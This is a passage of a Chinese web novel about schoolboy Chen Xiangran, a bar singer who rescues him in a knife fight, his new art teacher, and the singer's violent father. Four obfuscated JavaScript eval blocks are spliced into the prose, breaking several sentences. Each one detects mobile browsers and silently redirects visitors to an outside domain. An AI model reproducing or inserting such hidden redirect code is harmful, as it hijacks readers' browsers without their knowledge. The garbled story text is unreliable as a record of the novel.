而其实他讲话时很沉，像是极深的井里摇曳的冰凉井水。第一次见面时充满了压迫感，真凹出了那么点地头蛇的狠和滑。 灯光把他生冷的棱角暂时抹去了，湛蓝的，弥散的。他像是坐在气泡浮游的深海里，缓慢吟唱。伴奏乐队跟着轻敲慢打。少年总在这些时刻里发着光。 副歌第一句就是“你是那一尾孤吟的鲸”，齐怀生确实提过。 他唱到一半，场内突然轰隆一声，随之而来是酒瓶子碎裂的声音。齐怀生像没听见似的继续演唱。紧接着一个熟悉的声音大喊：“跟我回去！” 是巷头酒吧的酒保小哥，叫谭持，陈向然平时就叫他谭哥。他和那红毛吵起来了，一桌子人被惹毛，腾一下全站起来，抡着空酒瓶就要上去收拾人，谭持牵着的那个女孩，赫然就是巷头酒吧老板的女儿李荧。 音乐仍在演奏。 李荧挣开他，去摁住那些炸起肌肉的地痞子，一声声哥啊爷的哄住他们，被红毛推了一把，摔在谭持身上。谭持稳稳接住了她。 “你来干什么？”李荧疯狂捶打他，“回去。” 谭持任她捶，纹丝不动地瞪着那帮人。 “讨打。”红毛第一个冲上来，冲着谭持的脸就揍。其余人一拥而上，霎时间桌椅掀翻，碎玻璃纷飞四散。舞台上小提琴声快捷短促。彩光游过一条又一条蜿蜒的血流。齐怀生像鲸一般吟唱着。 红毛在混乱中退出群架，眼里满是暴怒，转身盯住了正在提拉连衣裙吊带的李荧，一把拽了过来。 “你有人？” 李荧愣了一下，很快调整出状态，指尖点着红毛的肩膀：“壬哥，那个就是我店里的伙计。” “伙计啊。”红毛声音幽沉，手背滑过她圆润光滑的肩头，“你看他像伙计，那我像不像傻子？” “他就是。” “少蒙老子！” 陈向然远远看着乱况。那只是酒吧一角的喧闹，不足以引起全场人的注意——因为这些人都见惯了。除了当作下酒的谈资，完全不需要大惊小怪。 可陈向然不一样。 他看着谭持一身血迹地从人群中脱出，扯过红毛的衣领，一拳下去见了血，又被其他扑上来的沟渠老鼠淹没。陈向然冲上去，抬了张凳子无差别地四处轰砸，朝痞子们脸上甩去。 谭持靠着墙根倒下，李荧去扶他，陈向然把两人挡在身后，只用一张凳子作掩护。 “你小子又是什么人？”红毛抹去鼻子上的血，打量他，“嗯？学生仔吧？” “再动手，”陈向然掏出手机，屏幕一亮，指尖悬在紧急拨号键上，声音一提：“我就报警了。” 这一喊，台上音乐停了。 准确地说，是歌声和吉他声消失了。 红毛一看也是蹲惯了派出所的人，跟听了耳旁风似的，不吃这套。忽地一脚踹来——凳子是塑料的，他踢断了两条凳腿。随后掏出一把折叠小刀，一抡，刀锋旋转露出，寒光闪烁，穿过凳子镂空的洞直取陈向然的命门。 “砰”一声，肌肉碰撞。 齐怀生不知什么时候下来的，踹折了红毛的膝弯，劈手夺刀。红毛没站稳，被他顺势推向地面，后背和地面发出响亮的碰撞声。齐怀生右膝盖抵住他大腿，左脚踩上他的手腕，左掌摁紧他的胸口，右手单一抡刀，刀片“咻”地笔直展开，直抵猎物的咽喉。 一套动作行云流水，前后不过四五秒，红毛的小弟从反应过来到行动不过前进了一步，就被齐怀生阴沉沉地喝住：“都别动。” 集体刹住脚。 李荧已经将谭持扶起来，陈向然举着凳子，瞪着惊慌的眼睛，胸口急速起伏。 “报上名来。”齐怀生说。 “说出来吓着你。”红毛嘴边沾血，在“吓”字上咬了重音，故意冲他嚣张地笑，颤抖着上颚，咬住下唇吐出两个字：“樊龙。” 齐怀生面不改色，把刀抵得更紧：“你不是。” “是我大哥。”红毛说，“龙哥有仇必报，收拾你这种杂碎绰绰有余，还有后面那几个。” “告诉樊龙，就说是我齐怀生替他教育了。识相就找个时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301929|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来跟我赔罪。” 说完他站起来，小刀一抡，刀锋收鞘，揣进裤兜直接扣留了。留着地上一个边上一堆，结结巴巴地喊生哥，又灰溜溜地携着同伴脚底抹油。 他回头，身后还有个木头人，眼冒精光，左右顾盼，举了个残腿凳作无谓的防御。 “吓着了。”齐怀生用的陈述句，眼里飘过一丝笑，“不会打架？小向然？” 陈向然缓过神，定了一定，看他一眼。 而后淡定地放下椅子，整整衣装：“我是文明人。” “虚伪。” 陈向然看向他，两人对视片刻，不明所以地一同笑出来。 雨仍未停。 齐怀生的表演被打断。老板回来时，因为他阻止了店内骚乱还是给了全部工钱。他似乎一点也没被刚才的事乱了心情，领了工钱，去后台取外套和吉他。 回学校前，陈向然想到门口送送两位朋友，站在门边却听见吵架声。 谭持站在路灯下，脸上混杂着灰和血，他颤抖着手去点烟，点了很久才点上。昏黄的光勾出他的下颌线，陈向然才发现他长相很清秀，一双眼在血迹衬托下盈盈泛着柔光。 “别跟我犟。”他看向李荧，“什么讨生意经，学经营。成天混这些地方，你跟谁学经营？那些游手好闲的流氓么？” “学了呀。”李荧后退一步，仅剩的最后一丝骄傲让她抬起了下巴，“学了才发现，缺的不是那点手段，是钱。我爸治病都欠了多少钱了，那破店你藏着掖着不让我卖，我不陪这些人拿什么还钱？” “李叔早料到你这样，他让我看住店也看住你。你少给我和李叔惹事，回去读书。” “读书？”李荧笑起来，“学费呢？” 她笑容本是明艳的，只是今晚被身后的雨天衬得悲怆， “我给你出。”谭持耐下心来说，“你不能连高中都读不上。” “你了不起是吧？有钱了是吧？” “附近有片工地，”谭持抹去脸上一点血灰，冲远处抬抬下巴，“政府准备开发这一带了，对我这种人而言，是个好去处。” 李荧懂他的意思。他去做民工了，一天能挣更多。 想想父亲的酒吧，竟是靠他一个酒保挣钱反哺才补上时不时的亏空，勉强盘活。 “我说呢……这些日子到店里找不着你，倒看见申恺那杀千刀的……” “我和李叔，都盼你有个好未来。可你在干什么？”他拧起眉，抬起她下巴，碰碰她裙摆，“你化浓妆，穿成这样，混在这些人中间，你对得起谁？” “你是我谁？凭什么教训我？”李荧倏然破了声，今天不知喝了多少，一口哭腔含糊不清。 眼看要动手了，陈向然要上去阻止，被人拉住了。他回头，是齐怀生。 “人家之间的事，”他说，“你个外人掺和什么。” 陈向然转头看他们拉拉扯扯。一个发泄，一个劝说。谭持的伤口裂开，血沾在李荧身上。 “可是这样……怎么办？”陈向然担忧地看着。 “吵出来就好了。”齐怀生放开他，“我家也这样，吵架就是沟通。你现在过去，只会让事情变得更复杂。”说完他又进了酒吧，说拿点东西。 陈向然只好把脚尖收回。 “你以为你是我谁？”李荧哭喊，“你追我那时候，申恺那混蛋用一条假项链把我骗到手，你还一直跟着我。那些酒保都辞职了，你还留在店里。你有没有点志气？你把本科修完，离开这里，早就发达了，你凭什么窝在这破地方管我？” “我命是你捡的。”谭持抓住她的手腕，沉沉地说，“还有李叔。” 李荧语无伦次地数落，句句说的是对方，却又把刀扎向自己。说着说着哭了出来，豆大的泪珠“啪嗒、啪嗒”直落地面，这么哭了半把小时，妆都花了。 齐怀生从员工通道走出来时，陈向然仍然背靠门衔，一动不动地站着，直到听完全过程。 11. 过往 夜深了，说不清吵了多久。李荧累得趴在谭持肩上抽泣。谭持脱了外套披在她头上，两个人肩挨着肩走进雨里。 背影没入黑暗。 陈向然想不到他们今后会往哪去。 酒吧舞台换了表演者，仍然起舞笙歌。据说平时会嗨到半夜两点。陈向然提起雨伞，后背离开门衔，往前一步，撞上一个迎面走来的人。 往后退了一步，抬头看人，挑了下眉：“还不走，等我呢？” 齐怀生背着吉他，外套敞开。通道里闷热，锁骨上布满细密的汗珠。 “嗯，等你。”他顿了一下，补充道，“等五分钟也算等的话。” “正好，送我回去吧。”陈向然撑开那把广告伞，抓起他的手，伞柄塞到他手里，蜷上，“这样我不用来还伞。” 齐怀生握着伞静止了两秒。 “不问问我为什么等你？” 他故意道：“生哥喜欢糙汉子，这招应该没少用。” “嗯，没少用。”齐怀生定定地看他，悠悠吐字，“尤其是找人算账的时候。” 陈向然：“什么账？” “我们后台的一些椅子平时没人用。”他举着伞，重心侧向一边，“有灰，还有干了的虫尸。” “所以你弹琴坐箱子？” “所以你擦完头就把我洗脸的毛巾扔那上面，不如陪我一条？” 水珠“嗒”、“嗒”落在头顶的铁棚…… 陈向然面无表情：“对不起，没想到生哥总是有理由让我欠东西。” “自己手欠，别怪别人。” 陈向然想说多有冒犯，他决定自己回去，齐怀生没让，说既然他提了要求，就要送他回学校，然后向他问几个问题。 此人依然奸商本质。 只剩下一点毛毛雨，地面潮湿黏腻，坑坑洼洼乌黑一片。几条细流钻进路边的下水道格栅盖，死寂的黑夜里发出类似于海中凌晨四点的水管声。 整条街几乎只有他们，四下无人，伴几盏路灯。天地间都是湿漉漉的，路边摩托车不时嚎叫两声，闪烁红色的警示灯。 伞由齐怀生举着，陈向然被他揽着肩膀，无聊地看着伞檐坠挂的水珠。 “你只有周末驻唱？平时呢？” “也来。” “上课怎么来？” 齐怀生只是笑笑，陈向然便想起来了。他说过他逃课在酒吧被班主逮过。原来是因为勤工俭学，老师才对他表示理解，没有捅到学校去。 “喜欢音乐？”他笑。 “啊。”齐怀生说，“能有一件一生不能舍弃的事。该抓住就抓住。” “一生不能舍弃。很好的说法。” 他跟齐怀生聊着天，这把伞不大，两人必须挤着走。肩膀因为他揽抓的力量紧抵着他，眼睛却看向另一方向——群山黑影，在建筑之上，墨画一样起伏连绵。 分明在山中，每日望着峰峦，他却总觉得太远了。那些山都太远，远到他觉得自己这辈子都看不清它们。 他忽然说：“你之前问我为什么不画山，却画海。大概是这个意思吧。” “嗯。” “因为我画不出来。”他把倾斜的伞往另一边推了推，“每个人都说这是山里，却走着水泥街、马路，在学校、商铺和公寓里。”他下意识垂了视线，鞋总是很干净，从来没踩过泥土，“我很想真正上一次山，进进那里的树林，但是我们学校……你懂的。” “那意思是，你去过海？” “我出生的老家就有一片海，”他说，“几代人靠它养。我很小的时候全家就搬去了江洲，大城市。我妈说环境很重要，要我泡在一线城的精英文化里，因此换过两处房子。等到我上初中，又搬回这里，因为我妈又发现，比起文化、认知，分数更重要，所以看上了海中，要我一定考上。”他默默一笑，“很感人吧，现代版孟母三迁。” “这么多年漂游，辛苦。”齐怀生捏了捏他的肩头。 “后来我才知道，我妈是因为工作调动迁移。哪里钱多往哪跳嘛。初高中我寄宿，很少看见她。太久没见，所以每回见到都觉得……她老得很快。” “我也很少看见我爸。”齐怀生看着前方，“我老家，也在海边。我爸是渔民，经常在远海过夜，凌晨回来。以前为了卖鱼，我偶尔会跑来石川。上高中为了方便，我才决定住在这了。”他看向陈向然，“听你的意思，你不喜欢这？” 陈向然没有马上回答。 高一入学那天，他第一次来到石川。 每天起早贪黑、时间紧迫，首周的宿舍区一片怨声叹气。 这里每个人，以前都是各初中的尖子，是学校的宝贝。群尖汇聚之后，都是一粒沙，没谁比谁了不起。有的人冲动起来，大清早到行政楼门口拉横幅抗议学校制度，黄昏时各领了一份处分，垂头丧气回教室自习。 陈向然没有反抗的习惯，他只迅速打听出这里的作息规律，不甘寂寞地在附近找到一块出口，翻墙去了后街。他一向认为，逃不出去的人都是被自己困住了。他们默认了这些人能够控制住他们，因而只能向这些人抗议，别无他法。 头一个月，他幻想过无数遍的鲸鱼，真正开始在他脑海里歌吟。 那片海许有千米深，一片漆黑，不见阳光。那时他甚至不知道它是一只鲸，太黑了。他想通过声音想象它的样子，画下轮廓，猜猜它是什么。于是走街串巷找到巷头酒吧这个清静地方，从此驻下了。 起初不好意思占人地盘，会点上一杯饮料。后来和谭持混熟了，不想喝时，也会白白占人便宜，甚至有时赶着回去上自习，便把画具往吧台上一放，甩手让谭持替他洗了。 第二天来，就会看见干净的画具晾在桌面上。但不出几日，他就发现颜料减少的速度肉眼可见，质问了谭持，他说他也画画，总不能白给他洗画具了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301930|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭持很有天赋，没受过专业训练，把李荧的脸画得活灵活现，手指的动作，眼尾的弧度，瞳孔的高光位置……一颦一笑，跃然纸上。一看便是私底下如痴如醉，爱上了线条与色彩。那吧台底下，渐渐多了一摞烂了边的绘画教材。大多是二手货，别人不要的，或是低价买来的。 也是那段时间陈向然发现他常常窝坐在吧台，有客进来，也不怎热情。陈向然便拍着他的画说，你的梦中情人最近消失得有点勤啊，上哪去了？ 谭持坐着高脚椅，说她不懂酒吧经营，上外边偷学去了，还谈了个朋友。 陈向然问他，喜欢画画么？ 他倚着吧台后的柜门，闷了口店里拿的烈酒，点点头，默认了。 陈向然说，有喜欢的人就追，有喜欢的事就去做。 随口一道罢了，他说了自己也做不到的事。谭持神色朦胧地看他一眼。 “喜欢……不代表想做吧。”他迷糊地转着酒瓶，“反正我最想做的还是赚钱，回报李家。”说着从高脚椅上站起来，开始清洗客人用过的酒杯。 …… “喜不喜欢的，不知道。”陈向然说，他想不起什么是真正想要的，什么是他们，是父母老师、学校规则乃至社会施加的要求。 想做一件事，可能只是担心有人失望罢了。 “信海的学生，就是想得比我们多。”齐怀生笑笑，“我想做什么就做。唱歌、赚钱，还有上学。我自己决定上哪堂课。”他话里有话似的，臂弯轻轻一拐，引导他拐出近道小巷，通入宽路，“至少画画是你想做的。开始做了没？” 陈向然想起简仲，想到那个昏暗逼仄的空间，和那双狭窄的眼睛，说：“出师不利，还在物色。” “物色什么？” “老师呗。” “我们学校艺术生多，可以给你打听市区几个名师。”齐怀生扭头看向右边山壁，那上方有信海的围墙，“前提是你替我做个小调查。” “你是真不想放过我了。又是毛巾，又是调查。”陈向然笑，“打听名师没必要了，另外帮我个忙吧。” “你说。” “生哥能不能，去巷头酒吧唱几场。可能给不起你多少出场费，就当我欠你的。” 他们停在一条长长的阶梯之下，齐怀生稍稍抬伞，向上望去，百步之上，是信海中学庄严的大门，象牙塔尖的入口。 也是他曾经梦想过的地方。 “这是你自愿的，不是生哥让你欠。”齐怀生把他引入楼梯一边的雨檐，松开揽肩的手，收起那把广告伞。 “自愿的。”陈向然重复一遍。 雨檐是学校修筑的，从阶梯下方延伸到校门、林荫道、教学楼，经过教学楼，就可以沿架空层去往下一栋教学楼，一直到教室都淋不着雨。 所以他们要在这里分别。 “剩下的路你自己走。”齐怀生重新撑开广告伞，“我该回去了。” 12. 老师 论快速，程希是全年级第一个决定做艺术生的。开学第二周就在一楼的自习室角落摆了个画架，圈出一小块地当画室用。老师也找好了，每天在宿舍抱怨听不懂、练不会，画的水母像蜘蛛。有天中午他坐在宿舍床上，垫了块画板练素描，说是下周要交的命题作业，完不成还要加量。 “你们说，这科学吗？”程希转着手里的铅笔，画纸一片空白，“都完不成了，还加，那不更完不成？” “第二十遍。”他的上铺朝下伸手比了个二。 “就是不科学呀。完不成还加，那不更完不成了。” “二十一遍。”上铺探出一颗头，“算我求你，随便画一个，还兄弟们一个清静。” “随便画是怎么画？” “看命题，第一反应想到什么，就画什么。” “命题是‘水’，山水山水，我只想到之前画过的山，我他妈画个山当水？” “总比加作业好咯。”上铺缩回他的褥子里，蒙住了头。 于是陈向然洗完澡，从阳台进来就看到一地颜料罐，和程希画的山。 他用毛巾搓搓湿漉漉的脑袋，扶膝半蹲，看着自然起伏的山峦。看得出程希练过风景图，实实在在遵循了绘画技巧，不算出挑却中规中矩，差不到哪去。 他笑了笑：“画水？” 程希停笔抬头，开始装哭：“陈向然，你丫也笑话我。反正我这离题的画肯定不及格了，被骂就被骂，爱咋咋地。” “那我涂一涂？” “涂呗，都报废了有啥关系。” “笔给我。” 陈向然一时兴起，拿过程希的画笔，在他画好的山上又来来回回涂了几笔。 涂画的方向变成横向，颜色化深，轮廓也发生细微的改变。他又蘸了白色颜料，在那山峦和蓝天上沿着刚刚的纹路轻轻添上几笔。程希瞳孔逐渐扩大。整座山在他的点睛之笔下就这么神奇地荡漾起来——他把山变成了水中的倒影。 “哥！”程希差点给他跪下，“你也艺术生？” “我？”陈向然掀开毛巾瞥他一眼，又放下，“不是。” “那也太可惜了吧。有空教我，别浪费了啊。”程希都替他急了，“你要是来我们训练班，准是熊大眼里的香饽饽。” 那时舍友间还生疏，陈向然只是笑笑。 “熊大”是程希的美术老师，绰号实则和他本人没有关系。是他有一得意门生，擅长模仿，故意把绘画风格整得与他七八分相似，讲话声音太像动画片里的熊二，得了“熊二”的绰号，进而私底下称这个老师为熊大。 此时陈向然在宿舍里，与程希面对面坐着，打听上课的时间地点。 “熊大学生多，分班上。晚上上课，周末四堂，是重复周二到周五晚上的内容。上课的地方在仁安路那边。你可以跟我一块儿过去。我家司机那速度，四十分钟能到。” “学费呢？” “学费是固定的，按月算，任何一节课都可以去听。”程希写了一稿纸的信息塞给他，“我就比较惨了，我爸现在连周二和周五的习作时间都要我去。说多去几次，才够本儿。” 想来，最近的夜晚，似乎常常在宿舍看不到程希。 “周末带上我。”陈向然说。 “熊大”本名陆引，长得和和气气的一位中年教授。有些美术教授爱雇佣自己的得意门徒教课，提前过上退休生活。陆引不一样，他像是对教课本身感兴趣，喜欢把感性的艺术引导和硬性的统考公式结合着讲。 周末一天两堂课，上午讲解，下午实物临摹。陈向然用不了一堂课的时间，课到中段他就完成了素描习作。 正要松口气，画上“唰”地冒出一个阴影，陈向然吓一跳，猛回头，看到陆引恶作剧得逞的笑。 他笑起来像个老顽童，脸上的纹路挤压出涟漪的形状，摸着下巴刺喇喇的小胡子说：“你对光影很敏锐。” 陈向然捋捋胸口，低声说：“魂要被您吓出来……” “画得快，线条干脆……”陆引眯眼端详起他的画来，“才小半月，进步挺大啊。” 陈向然放下画笔，等他摇头晃脑地欣赏完。正要交作业，只听他说：“你跟我来。” 其余人仍在练习，陈向然突兀地从一众学生中穿过，跟着陆引去到里间。这个里间大约是他的书房，书架上有美术相关的书和少量其它书籍，电脑桌上放着绘板。剩余三分之二空间，一眼望去五颜六色，墙上、地上，沾了洗不掉的颜料，摆满绘画用具。 陆引给他备好画纸，摆正座椅，让他坐下。 “你基本功不错，可以同时进行色彩练习。”陆引咚咚敲两下画架，“随意来一幅让我看看。这些工具都任你用。” 颜色。 地上、墙上、桌上、画上、罐子里，整个空间都是颜色。 陈向然小心翼翼穿行在色彩中，不想染了纯白的休闲裤，便卷起来，坐在凳子上。画架高度正好，他端起刚洗好的调色盘，从颜料罐里调出几种颜色，朱红、堇紫、水蓝、草绿……清兵点将般列作一圈，再拿起画笔排兵布阵。 陆引坐在电脑椅里，拔了椅子下的杆子，就当作摇椅摇起来，视线偶尔落在他身上。 “是叫……向然？” 他专注于调色：“嗯，陈向然。” “向往自然，”陆引望着天花板，晃着椅子，“好名字。” “谢谢。” “我听程希同学说，你成绩不错，人缘好，会什么萨克斯、钢琴……噢，还会打网球，有机会咱切磋一下啊。”他自顾自念叨，笑得小胡茬一颤一颤的，“现在啊，对艺术的热爱真是很稀贵了。” 陈向然专心作画，没有回应。 “上次，程希同学的作业，那改笔重，调色大胆，跟程希同学一点儿不一样，还想蒙混过关？哈，你们这点小心思，”陆引指指他，像是很得意，眼底发亮，嘴角像他的尾巴一样快翘到天上去。 在他自言自语的间隙里，陈向然已经完成了百分之八十。 纸上是一片五彩的花田，那些花像是有生命一般，伸展枝蔓，张开花瓣，画中央留了一寸形状不明的位置，他要画剩下的部分。 一只蝶。 陆引的影子这时缓缓出现在画纸边缘，苍白和淡褐上漫过一弧黑灰，倒是贴心地没挡住他的作画区域。他只三两细笔，徐徐勾勒，圈画出一只……半只蝴蝶。一片翅膀、一根卷须，色彩和纹路宛如一个微小的幻境，像它周围的花一样，看久了让人有晕眩之感。它与这彩色的花田融为一体，若不细看，险些看不到它。 “很不错的意境，让人心旷神怡的用色。”陆引摸摸下巴，点了点头，“画完了？” “画完了，老师。” “半只？” “一只，被挡住了。” 陆引顿了顿，又观察两眼：“蝴蝶，融入了花中？” 陈向然笑笑，像是默认。 陆引不急着说，微微弯下腰，指尖探向反光的颜料，悬在那蝴蝶上方，在空气里描摹蝴蝶完整的模样。半晌，他笑着缓缓道：“是融入，也是吞噬，对不？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301931|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈向然没有接话。 陆引没过多评价，直起身，摸着下巴上卷曲的小胡子：“很美的花，很美的蝶。你愿不愿意，做我的弟子？” “我现在不是么？” “哎，你现在是我的学生。”陆引拍拍他肩膀，“做我的弟子，我就带你到我们协会画展上观摩学习。只要好好练习，也许有一天，你的画也会出现在那上面。怎么样？愿不愿意？” 陈向然倏然来了精神，想都没想，便说：“愿意。” 陆引说，下周五下午四点半，从海中坐公交到离这不远的明溪站，再走一段到市中心，就能在中心大厦一层看到他的画展。如果陈向然想同他学画，可以在这个时间光临，他会在那等他。 陈向然眉间喜色消失，目光沉了下去。 学校封闭，不到周末不放人，也不让连续请假。况且路途遥远，没有程希的顺风车，来回奔波要费不少时间。 他踌躇很久，刚探出的须子又缩了回去。 房间里寂静无声，直到大厅的学生挪动椅子。下课了，他们要离开了。 陈向然放下画笔，也站起来：“我去不了，陆老师。时间问题。” “那可惜了。”陆引沉思片刻，“嗯……什么时候能来了，可以给老师打电话，老师随时欢迎。” 结束课程时还是下午，程希这小少爷在车后座上睡得像只死猪。嘴巴微张，就差流几摊口水。于是他家司机把车开得慢慢悠悠，到海中校门口，一轮大蛋黄已悬在灰黑的教学楼之后。 他把今天当堂画的素描带回来了。陆引给了评语——只有评语，没有分数。是关于光影透视的技巧，以及他对于绘画意境的看法，结尾说：下次我们再说说你那幅花蝶。 他喜欢这样的评价。 学校人少，校门口空空荡荡，落叶被风撩着滚过。这个时间教室没开，宿舍也只有程希…… 陈向然想起了什么事，摘了书包塞到程希怀里，转身跑进了后街。 “去哪儿啊然哥？” “帮我把书包拿回去，谢谢了。”陈向然跑远了 经过齐怀生驻唱的酒吧，他进去打听了一下，人不在，才直不楞登奔向巷头酒吧。心里雀跃。 齐怀生真的去了巷头？ 他推开酒吧的门，风铃叮铃铃响。谭持在吧台喊了声欢迎光临，抬头一看，四目相对，是老熟人。 店里的氛围与先前大不相同，几乎满员，他先前的“专座”也被谭持清理掉画具让给了客人。每张桌都在玩不同的桌游。听谭持说，是李荧的主意。酒吧是娱乐场所，总得来点花样。 “除了桌游，就没别的？”陈向然探他口风。 “喏，那一角舞台，专给小齐搭的。”谭持脸上终于有了点笑容，“他说是你十八般武艺求着他来的，我就奇怪了，你怎么也不像会求人的。” 这种幼稚行径，陈向然只能付之一笑：“谭哥了解我。我不跟小齐那种人一般见识。” 说着他看向那小舞台。 话筒立在台前，与谱架并立，电线一团乱，连接了音响和插座。人也许刚走。墙根下还倚着一把吉他，吉他负了伤，有磨损的痕迹。 是齐怀生那把。 “吉他怎么在这？”陈向然问。 谭持看都没看一眼：“小齐留下来的，让我给他修复外壳。我以前做过木匠活，修这个不难。” “他今天来唱了？不唱到晚上？” 谭持沉默了几秒。 “他被一个男人带走了。在门口打了一顿，直接拖走的。” 13. 消失 谭持说，从那个男人的喊话听来，他应该是齐怀生的父亲。 秋日入深，山里多降水，整条街刚被雨水洗刷一净。父子俩就在潮湿未褪的街上大吼大叫。父亲出手砸了儿子带出来的吉他，大吼着拉扯他，衣服都给拽变形了，说他没用、混球、在这种学校彻底废了，被一把吉他废了。谭持当时听见冲突，赶到门口，就听齐怀生不知讥讽似的说了句什么，激怒了父亲。 老父亲手上拎了钝器，恨铁不成钢，怒而扑上去要砸吉他。齐怀生护住了吉他，钝器正砸在他腿上。 父亲提前意识到，收了劲儿的。 这镇上的居民平时小吵大嚷的时候多了，没人把谁家的事当回事。顶多在齐怀生惨叫出声时，从阳台探出一头，又把注意力放回晾衣架上。 谭持说自己当时木楞愣的，脑子乱成了毛线团，齐怀生提着吉他跑来交予他，他本能地就接下了，点头答应替他修。 然后看他瘸着一条腿，被父亲拎着后衣领，像拖一条可怜的老狗一样拖走了。 谭持描述当时的场景时，他只觉得很远，像是在听一个不甚熟悉的他人经历的事。每个狼狈的细节都不像他所认识的波澜不惊的生哥。 他回头，门口有一块被地上的雨水浸湿的木条，大概是那把乐器的一部分，而离开乐器的一瞬间它就只是块死去的木头。他走到舞台边，第一次触碰这把吉他。 ——弦没断，整体也没变形，只是磕那一下磨损了一条边。磨损面积不算小，也不大，谭持说修复起来绰绰有余。 他翻了一下谱架上的五线谱，都是打印出来自己装订的，有些字体都不同。他轻哼上面的主旋律，大部分都带着海边礁石上风里的味道，和远海巨轮浩荡的汽笛声。是他在书里看到过的，南洋番客旧衫腰布、自由散漫的流浪感。包括他在酒吧唱的那首。 不知不觉，他抱着五线谱在台边坐了半个小时。谭持笑他，说他是不是要代替齐怀生来驻唱，他才回过神来，归还了乐谱。 走之前他在吧台要了一杯饮料，大口喝完，水里的冰块都还没溶化。他说要手机支付，谭持就高高兴兴出示店里的二维码，不一会儿吧台里的播报器响了个令他皱眉的数字。 两位数的饮料，陈向然付了三位数，十几倍的价钱。 “喂喂，干什么？”谭持拉着他不让走。 他抛着手机笑：“给你雇齐怀生的。他在原来的酒吧多少钱，你得给更多，不然怎么留下人家。”说到这，想到那天在酒吧后台听他独奏了半曲，笑了一下，“他可是很贵的。” 谭持不置可否，低头苦笑，摇了摇头，提起一条干燥的抹布，抹起了吧台。 在陈向然转身离开的一瞬间，他忽然开口：“你不觉得，他短时间内都不会回来了？” 陈向然停下脚步。 “也可能不会再来咯，监视起来了。”谭持运搓着抹布，眼睛盯着擦洗的地方，“所以，你考不考虑收下我的转账？” “他会回来的，时间问题。”陈向然回头说，“如果遇到他，把之前少的工资补上吧。” 陈向然从酒吧出来，脚尖正好踢着那个潮湿的木块，多看了一眼，便转身离开。 整条街湿漉漉的，低矮的建筑、锈灰的电线杆、捕鼠箱，街边摩托车的防水套也沾了水珠。地上浅淡的水面映出他飘过的头发，和一只垂着眼皮的、荧黑的眼睛。他一脚踩过，溅起小小的水花。涟漪平静下来，每一个水坑都是世界的碎片。 夕阳深沉而热烈，山顶的庙宇祠堂，还有那口大铜钟，都不约而同地同山丘融为一片剪影。让他想起小时候因为练习乐器被禁止出去玩而偷偷做的手工，那些庞大的黑影，就像从黑色卡纸上剪下来的硬纸片。 “当”一声，又一声，六点了，寺庙的守门人在敲钟。 他独自一人的背影拉得很长，到了前半街，店铺关闭了一半。再到校门口，熟悉的窒息感又扑面而来。 不知道为什么，他一路都有种不好的感觉。 宿舍楼没有人，很空、很冷。黄昏夕晖添了一丝朦胧的明亮，他沿着很长很长的走廊，找到自己的宿舍门号。 他默默做宿舍值日，傍晚时分楼层宿管会到宿舍来查，手指一抹便知道有没有擦洗过。日日如此。 他检查军被棱角是否是九十度，床上是否有一枕一被之外多余的物品，检查床头栏杆是否干净。 然后背起书包离开，轻轻关上了门。 周日的晚上，往往临近晚自习才突然涌进一堆回校的人。但今晚月考出分，总有人等着吃第一口热菜似的，来得奇早。 陈向然走进教室，刘永凡已经在座位上了——是他深得林岚喜爱的同桌。 他脖子很细，每次看成绩都喜欢把脑袋往前伸，脖子扭曲起来，丹顶鹤一样。奈何近视太深，便喊着“吴自兴，把表格调大点儿”。然后老干部阅文件似的翻开他今晚计划要预习的部分。 电教委员吴自兴，那个长得尖嘴猴腮的男生连忙上去调成绩表。这是个慕强分子，对刘永凡这种稳坐年级前十、又是风自委成员的人物颇为敬重。 表格展开，整个教室的长颈鹿左右摇摆起来。刘永凡找到自己的成绩栏，记下各科和总分的排名，然后喊一声“别的班的表呢”，吴自兴便轻车熟路地打开其它表格。 陈向然叹了口气，“啪嗒”放下笔，没来得及看到自己的成绩。随即他不看了，大考出分的日子，林岚一定会主动打电话给他开分析大会。 整个班都习惯了，都知道他要记谁的成绩。陈向然侧目，他笔记本上详细记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301932|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 